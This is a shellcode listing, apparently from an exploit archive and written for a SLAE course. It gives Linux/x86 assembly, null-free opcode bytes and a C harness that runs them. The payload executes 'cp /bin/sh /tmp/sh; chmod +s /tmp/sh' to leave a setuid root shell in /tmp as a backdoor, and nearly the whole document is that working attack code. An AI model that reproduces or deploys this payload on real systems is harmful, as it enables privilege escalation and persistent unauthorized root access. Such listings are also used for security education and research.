Linux/x86 - execve(cp /bin/sh /tmp/sh; chmod +s /tmp/sh) + Null-Free Shellcode (74 bytes)

/*
 
Title: Linux/x86 - cp /bin/sh /tmp/sh; chmod +s /tmp/sh
Author: absolomb
Website: https://www.sploitspren.com
SLAE-ID: 1208
Purpose: cp shell into /tmp and setuid
Tested On: Ubuntu 14.04
Arch: x86
Size: 74 bytes
 
Shellcode is register independent and null free. 
 
global _start          
 
section .text
_start:
 
    push 0xb        ; execve()     
    pop eax         ;
    cdq             ; set edx to 0
    push edx        ; NULL
    push word 0x632d    ; "c-" 
    mov edi,esp     ; point edi to stack
    push edx        ; NULL
    push 0x68732f2f     ; "hs//"
    push 0x6e69622f     ; "/bin"
    mov ebx,esp     ; point ebx to stack
    push edx        ; NULL
 
    jmp short cmd
 
execute:
 
    push edi        ; "c-"
    push ebx        ; "/bin/sh"
    mov ecx,esp     ; point to stack
    int 0x80        ; execute execve
 
 
cmd:
    call execute
    db "cp /bin/sh /tmp/sh; chmod +s /tmp/sh"
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x2b\x73\x20\x2f\x74\x6d\x70\x2f\x73\x68";
main()
{
 
    printf("Shellcode Length:  %d\n", strlen(code));
 
    int (*ret)() = (int(*)())code;
 
    ret();
 
}